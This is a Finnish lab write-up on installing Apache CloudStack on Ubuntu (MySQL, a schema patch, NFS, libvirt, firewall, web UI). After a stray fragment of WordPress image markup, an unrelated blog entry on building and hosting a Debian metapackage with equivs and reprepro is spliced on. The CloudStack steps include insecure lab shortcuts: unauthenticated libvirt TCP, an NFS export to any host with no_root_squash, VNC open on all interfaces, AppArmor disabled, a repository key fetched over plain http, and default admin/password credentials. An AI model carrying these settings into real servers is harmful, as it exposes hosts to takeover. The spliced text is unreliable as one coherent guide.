<p>Tietojen syöttämisen jälkeen laite käynnistettiin uudelleen komennolla <em>reboot. </em>Lopuksi asetusten voimaantulo tarkastettiin uudelleenkäynnistymisen jälkeen komennolla <em>ifconfig</em>, joka kertoi, että IP-osoite ja verkkomaski ovat samat kuin interfaces-tiedostoon määriteltiin.</p>
<p> </p>
<h2><a name="_Toc469062782"></a>5.4      ClousStackin asennus</h2>
<p>CloudStackin asennus aloitettiin lisäämällä pakettien lataamiseen tarvittava lähdeosoite sources –listalle, joka tapahtui luomalla <em>/etc/apt/sources.list.d/</em> -hakemistoon tiedosto nimeltä cloudstack.list. Tiedoston sisällöksi tuli rivi ”<em>deb http://cloudstack.apt-get.eu/ubuntu trusty 4.4”</em>. Lisäksi haettiin julkinen avain, joka lisättiin luotettuihin avaimiin komennolla <em>wget -O – http://cloudstack.apt-get.eu/release.asc|apt-key add -apt-get update.</em></p>
<p>Seuraavaksi asennettiin OpenNTPD ja CloudStack management komennoilla <em>apt-get install openntpd</em> ja <em>apt-get install cloudstack-management.</em></p>
<p> </p>
<h2><a name="_Toc469062783"></a>5.5      MySQL serverin asennus</h2>
<p>Asennettiin MySQL server:</p>
<p><strong><em>$ </em></strong><strong><em>apt-get –yes install mysql-server</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Muokattiin cloudstack tietokantakonfiguraatio tiedostoa:</p>
<p><strong><em>$ nano /etc/mysql/conf.d/cloudstack.cnf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedoston loppuun lisätiin seuraavat rivit:</p>
<p> </p>
<p>!includedir /etc/mysql/conf.d/</p>
<p>!includedir /etc/mysql/mysql.conf.d/</p>
<p>[mysqld]</p>
<p>innodb_rollback_on_timeout=1</p>
<p>innodb_lock_wait_timeout=600</p>
<p>max_connections=350</p>
<p>log-bin=mysql-bin</p>
<p>binlog-format = ‘ROW’</p>
<p> </p>
<p>Käynistettiin MySQL serverin uudelleen:</p>
<p><strong><em>$ sudo service mysql restart </em></strong></p>
<p> </p>
<p>Kun mysql-server käynnistettiin uudelleen, tuli virheilmoitus. 3-Noden asennuksessa tällaista ei tullut.</p>
<p> </p>
<p> </p>
<p>Internetistä löytyi ohjeet ongelman korjaamiseen. Täytyi tehdä muutoksia tiedostoon: /usr/share/cloudstack-management/setup/create-schema-premium</p>
<p>Luotiin tiedoston patch-tiedosto /tmp/- kansioon.</p>
<p> </p>
<p><strong>$ sudo nano /tmp/CLOUDSTACK-8157.diff</strong></p>
<p> </p>
<p>Tiedoston sisältö oli seuraava:</p>
<p><em>— /usr/share/cloudstack-management/setup/create-schema-premium.sql.orig 2015-02-14 16:53:19.341079935 +0000</em></p>
<p><em>+++ /usr/share/cloudstack-management/setup/create-schema-premium.sql 2015-02-14 16:54:12.127456646 +0000</em></p>
<p><em>@@ -296,7 +296,7 @@</em></p>
<p><em>   `password` varchar(200) COMMENT ‘password’,</em></p>
<p><em>   `round_robin_marker` int COMMENT ‘This marks the volume to be picked up for lun creation, RR fashion’,</em></p>
<p><em>   </em><em>PRIMARY KEY  (`id`),</em></p>
<p><em>–  CONSTRAINT `fk_netapp_volume__pool_id` FOREIGN KEY `fk_netapp_volume__pool_id` (`pool_id`) REFERENCES `netapp_pool` (`id`) ON DELETE CASCADE,</em></p>
<p><em>+  CONSTRAINT `fk_netapp_volume__pool_id` FOREIGN KEY `fk_netapp_volume__pool_id` (`pool_id`) REFERENCES `cloud`.`netapp_pool` (`id`) ON DELETE CASCADE,</em></p>
<p><em>   INDEX `i_netapp_volume__pool_id`(`pool_id`)</em></p>
<p><em> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;</em></p>
<p><em> </em></p>
<p><em>@@ -315,7 +315,7 @@</em></p>
<p><em>   `size` bigint NOT NULL COMMENT ‘lun size’,</em></p>
<p><em>   `volume_id` bigint unsigned NOT NULL COMMENT ‘parent volume id’,</em></p>
<p><em>   PRIMARY KEY (`id`),</em></p>
<p><em>–  CONSTRAINT `fk_netapp_lun__volume_id` FOREIGN KEY `fk_netapp_lun__volume_id` (`volume_id`) REFERENCES `netapp_volume` (`id`) ON DELETE CASCADE,</em></p>
<p><em>+  CONSTRAINT `fk_netapp_lun__volume_id` FOREIGN KEY `fk_netapp_lun__volume_id` (`volume_id`) REFERENCES `cloud`.`netapp_volume` (`id`) ON DELETE CASCADE,</em></p>
<p><em>   INDEX `i_netapp_lun__volume_id`(`volume_id`),</em></p>
<p><em>   INDEX `i_netapp_lun__lun_name`(`lun_name`)</em></p>
<p><em> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;</em></p>
<p> </p>
<p>Seuraavaksi varmuuskopioitiin create-schema-premium.sql tiedoston alkuperäinen versio:</p>
<p> </p>
<p><strong>$ sudo cp /usr/share/cloudstack-management/setup/create-schema-premium.sql \ /usr/share/cloudstack-management/setup/create-schema-premium.sql.orig</strong></p>
<p><strong> </strong></p>
<p>Asennettiin PATCH daemon:</p>
<p><strong>$ sudo apt-get install patch</strong></p>
<p>Ajettiin aiemmin luotu korjaustiedosto PATCH:illa:</p>
<p><strong>$ sudo patch -d / -p0 -u -i /tmp/CLOUDSTACK-8157.diff</strong></p>
<p> </p>
<p> </p>
<p><strong> </strong></p>
<h2><a name="_Toc469062784"></a>5.6      NFS asennus, export mount</h2>
<p>Seuraavaksi luotiin hakemistot /export/primary ja /export/secondary ja asennettiin NFS komennolla <em>apt-get install nfs-kernel-server.</em></p>
<p> </p>
<p>Sitten luotiin exports-tiedosto exportin konfiguraatiota varten seuraavalla komennolla:</p>
<p><strong><em>$ sudo nano /etc/exports/</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedostoon syötettiin rivi:</p>
<p>/export *(rw,async,no_root_squash,no_subtree_check)</p>
<p> </p>
<p>Lopuksi annettiin komento <strong><em>$ exportfs -a</em></strong></p>
<p> </p>
<p>NFS täytyi konfiguroida statd kuuntelemaan tiettyjä portteja, tämä onnistui ajamalla seuraavat kolme komentoa, joista ensimmäisellä tehdään varmuuskopio nfs-common -tiedostosta nimellä nfs-common.orig:</p>
<p><strong><em>$ </em></strong><strong><em>cp /etc/default/nfs-common /etc/default/nfs-common.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/NEED_STATD=/ a NEED_STATD=yes’ /etc/default/nfs-common</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/STATDOPTS=/ a STATDOPTS=”–port 662 –outgoing-port 2020″‘ /etc/default/nfs-common</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi täytyi konfiguroida lockd, joten avasimme konfiguraatiotiedoston komennolla:</p>
<p><strong><em>$ sudo nano /etc/modprobe.d/lockd.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedostoon lisättiin seuraava rivi:</p>
<p>options lockd nlm_udpport=32769 nlm_tcpport=32803</p>
<p> </p>
<p>Tämän jälkeen NFS käynnistettiin uudelleen ja testattiin, että exporttaus on onnistunut. Tämä tapahtui seuraavilla komennoilla:</p>
<p><strong><em>$ service nfs-kernel-server restart</em></strong></p>
<p><strong><em>$ showmount – 127.0.0.1</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Kaikki oli kunnossa, koska komennon jälkeen näytölle tulostui exportattu hekemisto.</p>
<p>Sitten luotiin mountattavat hakemistot, tehtiin niille tarvittavat konfiguraatiot ja muontattiin ne.</p>
<p><strong><em>$ IP=172.28.175.69</em></strong></p>
<p><strong><em>$</em></strong><strong><em> mkdir -p /mnt/primary /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Konfiguraatiotiedosto fstab avattiin komennolla:</p>
<p><strong><em>$ sudo nano /etc/fstab</em></strong></p>
<p><strong><em><br />
</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em> </em></strong></p>
<p>Ja siihen lisättiin seuraavat rivit:</p>
<p><strong><em>$ 172.28.175.69:/export/primary   /mnt/primary    nfs rsize=8192,wsize=8192,timeo=14,intr,vers=3,noauto  0   2</em></strong></p>
<p><strong><em>$ 172.28.175.69:/export/secondary /mnt/secondary  nfs rsize=8192,wsize=8192,timeo=14,intr,vers=3,noauto  0   2</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Lopuksi mountattiin hakemistot komennolla:</p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/primary /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraava vaihe oli asentaa libvirt, jota CloudStack käyttää virtuaalikoneiden hallintaan.</p>
<p> </p>
<p>Asennus tapahtui komennolla:</p>
<p><strong><em>$</em></strong><strong><em> apt-get install cloudstack-agent</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Alkuperäisestä konfiguraatiotiedostosta otettiin varmuuskopio komennolla:</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/libvirt/libvirtd.conf /etc/libvirt/libvirtd.conf.orig</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Sitten tehtiin konfiguraatiot komennoilla:</p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#listen_tls = 0/ a listen_tls = 0’ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#listen_tcp = 1/ a listen_tcp = 1’ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#tcp_port = “16509”/ a tcp_port = “16509”‘ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/#auth_tcp = “sasl”/ a auth_tcp = “none”‘ /etc/libvirt/libvirtd.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi konfiguroitiin libvirt-conf -tiedosto, josta otettiin aikaisempien tiedostojen tavoin aluksi varmuuskopio.</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/default/libvirt-bin /etc/default/libvirt-bin.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i -e ‘s/libvirtd_opts=”-d”/libvirtd_opts=”-d -l”/’ /etc/default/libvirt-bin</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Lopuksi käynnistettiin libvirt-bin uudelleen.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Viimeiseksi konfiguroitiin vielä qemu.conf -tiedosto:</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/libvirt/qemu.conf /etc/libvirt/qemu.conf.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/# vnc_listen = “0.0.0.0”/ a vnc_listen = “0.0.0.0”‘ /etc/libvirt/qemu.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Ja lopuksi palvelu käynnistettiin uudelleen.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraava vaihe oli AppArmorin poistaminen käytöstä, tämä tapahtui seuraavilla komennoilla:</p>
<p><strong><em>$</em></strong><strong><em> ln -s /etc/apparmor.d/usr.sbin.libvirtd /etc/apparmor.d/disable/</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ln -s /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper /etc/apparmor.d/disable/</em></strong></p>
<p><strong><em>$</em></strong><strong><em> apparmor_parser -R /etc/apparmor.d/usr.sbin.libvirtd</em></strong></p>
<p><strong><em>$</em></strong><strong><em> apparmor_parser -R /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper</em></strong></p>
<p> </p>
<p>Ja lopuksi taas uudelleenkäynnistys.</p>
<p><strong><em>$</em></strong><strong><em> service libvirt-bin restart</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Palomuurin asetukset Palomuuriin tehtiin seuraavat määritykset</p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 22</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 1798</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 16509</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 5900:6100</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ufw allow proto tcp from any to any port 49152:49216</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Komentojen jälkeen palvelin käynnistettiin uudelleen ja testattiin, että NFS toimii edelleen.</p>
<p><strong><em>$</em></strong><strong><em> reboot</em></strong></p>
<p><strong><em>                      </em></strong><strong><em>$</em></strong><strong><em> rpcinfo -u 172.28.175.69 mount</em></strong></p>
<p><strong><em>$</em></strong><strong><em> showmount -e 172.28.175.69</em></strong></p>
<p>Uudelleenkäynnistyksen jälkeen hakemistot täytyi mountata uudelleen antamalla komennot:</p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/primary</em></strong></p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi haettiin system template /mnt/secondary:</p>
<p><strong><em>$</em></strong><strong><em> /usr/share/cloudstack-common/scripts/storage/secondary/cloud-install-sys-tmplt  -m /mnt/secondary -u http://cloudstack.apt-get.eu/systemvm/4.4/systemvm64template-4.4.1-7-kvm.qcow2.bz2 -h kvm -F</em></strong></p>
<p><strong><em> </em></strong></p>
<h2><a name="_Toc469062785"></a>5.7      Käyttöliittymän testaus</h2>
<p> </p>
<p>Tässä vaiheessa pääsimme testaamaan CloudStackin graafisen käyttöliittymän toimintaa. Avasimme käyttöliittymän osoitteessa <a href="http://192.168.77.10:8080/client">http://192.168.77.10:8080/client</a>, mutta saimme tulokseksi 404 -virheilmoituksen. Tästä oli maininta myös ohjeessa, jota seurasimme ja siihen oli listattu komentoja, jotka voisi kokeilla ajaa virheen ilmetessä.</p>
<p> </p>
<p>Kokeilimme ajaa seuraavat komennot ohjeen mukaisessa järjestyksessä:</p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service tomcat6 stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent stop</em></strong></p>
<p><strong><em>$</em></strong><strong><em> ps -efl | grep java</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management start</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-management status</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent start</em></strong></p>
<p><strong><em>$</em></strong><strong><em> service cloudstack-agent status</em></strong></p>
<p>Palveluiden uudelleenkäynnistämisen jälkeen käyttöliittymä aukesi.</p>
<p> </p>
<h2><a name="_Toc469062786"></a>5.8      Web-käyttöliittymä</h2>
<p>Web-käyttöliittymälle pääsee kirjautumaan tunnuksilla: admin, salasana: password.</p>
<p> </p>
<p>Alkuun latautuu Dashboard. Tästä näkee systeemin kapasiteetin ja Alert-ilmoitukset.</p>
<p> </p>
<p>Infrastructure-välilehdellä näkee käytössä olevat resurssit.</p>
<p>Instances-välilehdellä pääsee näkemään luodut virtuaalikoneet, käsitellä ne tai voidaan luoda uusia.</p>
<p> </p>
<p>Instanceen voidaan kirjautua Console-ikkunan avulla. Tässä näkee CentOS kone varasi IP-osoite Guest.</p>
<p> </p>
<p>TEMPLATES-välilehdellä on oletuksena ladatut templatet, joista voi luoda virtuaalikoneet.</p>
<p> </p>
<p>ISO-välilehdelle täytyy ladata levykuvat erikseen, koska oletuksena niitä ei ole.</p>
<p>ISO-levykuvat ladataan verkosta.</p>
<p> </p>
<p>PROJECT-välilehdellä voidaan luoda projekteja ja määritä niille käyttäjiä.</p>
<p> </p>
<p>Accounts-välilehdellä voidaan lisätä uusia käyttäjiä.</p>
<p> </p>
<p>Global Settings-välilehdellä pääsee muokkaamaan mm. hypervisorin asetuksia, kuten maksimi käyttäjämäärän jne. (käytössämme on KVM-hypervizor).</p>
<p> </p>
<p>Instance Size-välilehdellä voidaan luoda valmiiksi valittuja VM-kokonpanoja siis CPU, RAM, HDD.</p>
<p> </p>
<p> </p>
<h1><a name="_Toc469062788"></a>Lähteet</h1>
<p>Navi, Ravin. Apache CloudStack Computing. Luettavissa: <a href="http://site.ebrary.com/lib/haagahelia/detail.action?docID=10714265">http://site.ebrary.com/lib/haagahelia/detail.action?docID=10714265</a></p>
<p>Apache CloudStack 4.6 Installation Documentation. Luettavissa: <a href="http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.6/">http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.6/</a></p>
<p>Apache CloudStack 4.4 Installation Documentation. Luettavisa:</p>
<p><a href="http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.4/">http://docs.cloudstack.apache.org/projects/cloudstack-installation/en/4.4/</a></p>
<p>Step by Step Apache CloudStack Installation -video. Katsottavissa:</p>
<p><a href="https://www.youtube.com/watch?v=ldG5LsP5new">https://www.youtube.com/watch?v=ldG5LsP5new</a></p>
<p>CloudStack Installation on Ubuntu Server using Virtualbox -video. Katsottavissa:</p>
<p><a href="https://www.youtube.com/watch?v=zsweF5rkc2I">https://www.youtube.com/watch?v=zsweF5rkc2I</a></p>
<p>CloudStack 4.4 Single Server on Ubuntu 14.04.1 with KVM</p>
<p><a href="http://www.greenhills.co.uk/2015/02/23/cloudstack-4.4-single-server-on-ubuntu-14.04.1-with-kvm.html">http://www.greenhills.co.uk/2015/02/23/cloudstack-4.4-single-server-on-ubuntu-14.04.1-with-kvm.html</a></p>
” data-medium-file=”” data-large-file=”” class=”alignnone size-full wp-image-145″ src=”https://pantsesnyi.files.wordpress.com/2016/04/package.png?w=720″ sizes=”(max-width: 700px) 100vw, 700px” srcset=”https://pantsesnyi.files.wordpress.com/2016/04/package.png?w=720 700w, https://pantsesnyi.files.wordpress.com/2016/04/package.png?w=150 150w, https://pantsesnyi.files.wordpress.com/2016/04/package.png?w=300 300w, https://pantsesnyi.files.wordpress.com/2016/04/package.png?w=768 768w, https://pantsesnyi.files.wordpress.com/2016/04/package.png 845w” alt=”package” data-recalc-dims=”1″ />

Ajetaan equivs-build:lla  muokattu metapaketti.cfg komennolla

equivs-build metapaketti.cfg

build

paketin luonti onnistunut:

Seuraavaksi tarkistetaan paketin alex-pac_1.0_all.deb. Asensin lintian komennolla

sudo apt-get install lintian

Asennus on valmis. Tarkistin paketin komennolla

lintian alex-pac_1.0_all.deb

notexist

Tuli ilmoitus että tiedostoa ei löytynyt. Tarkistin mitä kansiossa on.

ls

cd metapaketti

lintian alex-pac_1.0_all.deb

Virheilmoitusta ei näkynyt. Paketti on valmis.

Asiensin gdebi komennolla

sudo apt-get install gdebi -y

gdebi

sudo gdebi -n alex-pac_1.0_all.deb

ohjelmat asensivat oikein.

REPREPRO

Asensin reprepro komennolla

sudo apt-get install reprepro

komennolla: lsb_release -a 

selvisin että käytössäni on  xenial 

Loin kansion ja nanolla tiedoston

mkdir -p repository/conf

nano repository/conf/distributions

rep

kun oli aikaa käynistää tein montaa kertaa saman virhen. Kirjoitin paketin sijainnin väärin  ( home/alex/metapaketti…….) sitten korjasin seuraavasti:

reprepro -VVVV -b repository/ includedeb xenial /home/alex/metapaketti/alex-pac_1.0_all.deb

reprepro

repository on luotu. Asensin komennolla

sudo apt-get install alex-pac